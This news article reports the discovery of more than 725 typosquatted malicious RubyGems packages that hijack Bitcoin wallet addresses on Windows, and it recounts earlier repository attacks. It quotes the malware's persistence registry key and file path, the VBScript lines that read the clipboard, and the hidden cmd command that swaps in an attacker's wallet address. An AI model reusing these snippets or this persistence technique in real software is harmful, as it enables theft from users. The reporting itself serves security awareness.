Supply-chain attack hits RubyGems repository with 725 malicious packages

ReversingLabs

reader comments

1 with 1 posters participating

Share this story

More than 725 malicious packages downloaded thousands of times were recently found populating RubyGems, the official channel for distributing programs and code libraries for the Ruby programming language.

The malicious packages were downloaded almost 100,000 times, although a significant percentage of those are likely the result of scripts that automatically crawl all 158,000 packages available in the repository, Tomislav Pericin, the cofounder and chief software architect of security firm ReversingLabs, told Ars. All of them originated from just two user accounts: “JimCarrey” and “PeterGibbons.”

The accounts, which ReversingLabs suspects may be the work of a single individual, used a variation of typosquatting—the technique of giving a malicious file or domain a name that’s similar to a commonly recognizable name—to give the impression they were legitimate. For instance, “atlas-client,” a booby-trapped package with 2,100 downloads, was a stand-in for the authentic “atlas_client” package. More than 700 of the packages were uploaded from February 16 to 25.

Once installed, the packages executed a script that attempted to intercept Bitcoin payments made on Windows devices. Tomislav Maljic, a ReversingLabs threat analyst, wrote in a post:

> *The script itself is rather simple. First, it creates a new VBScript Sle with the main malicious loop at the "%PROGRAMDATA%\Microsoft Essentials\Software Essentials.vbs" path. As its persistence mechanism, it then creates a new autorun registry key "HCU\Software\Microsoft\Windows\CurrentVersion\Run Microsoft Software Essentials." With this, the malware ensures that it is run every time the system is started or rebooted.*
>
> *When the "Software Essentials.vbs" malicious script is executed, it starts an infinite loop where it captures the user's clipboard data with the following lines of code:*
>
> *Set objHTML = CreateObject("htmlfile")*
> *text = objHTML.ParentWindow.ClipboardData.GetData("text")*
>
> *The script then checks if the clipboard data matches the format of a cryptocurrency wallet address. If it does, it replaces the address with an attacker-controlled one "1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc" in a hidden window using the following command:*
>
> *WScript.Shell run "C:\Windows\System32\cmd.exe /c echo 1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc | clip", 0*
>
> *With this, the threat actor is trying to redirect all potential cryptocurrency transactions to their wallet address. At the time of writing this blog, seemingly no transactions were made for this wallet.*

RubyGems maintainers didn't respond to an email seeking comment.

The latest of several

It’s by no means the first time people have used typosquatting to sneak malicious packages into widely used open source repositories. In 2016, a college student uploaded sketchy scripts to RubyGems, PyPi, and NPM, which are community websites for developers of the Python, Ruby, and JavaScript programming languages, respectively. A phone-home feature in the student’s scripts showed that the imposter code was executed more than 45,000 times on more than 17,000 separate domains, and more than half the time his code was given all-powerful administrative rights. Two of the affected domains ended in .mil, an indication that people inside the US military had run his script.

Attackers quickly adopted the technique. In 2018, an attacker sneaked a clipboard hijacker into PyPi. The malicious package was titled “Colourama” and looked similar to Colorama, which is one of the top-20 most-downloaded legitimate modules in the Python repository. The malicious package was downloaded 171 times, not including downloads from mirror sites.

A month later, attackers managed to pull off an even more impressive feat when they sneaked a bitcoin-stealing backdoor into event-stream, a code library with 2 million downloads from the NPM repository. Developers of a currency wallet called CoPay incorporated the malicious library into updates and warned that any private keys trusted with the tainted versions should be considered compromised.

The college student’s 2016 experiment, and the booby-trapping of the legitimate event-stream library, demonstrate that supply-chain attacks against open source repositories can be an effective way to get malicious code executed on sensitive machines. This year’s event with RubyGems shows that these supply chain attacks aren’t going away any time soon.

“There are very few protections out there for software

developers to make sure that packages they install from these repositories are malware free," Pericin, the ReversingLabs cofounder, said. "There is a huge gap in the market at the moment which is being exploited by malware authors."

https://arstechnica.com/?p=1669195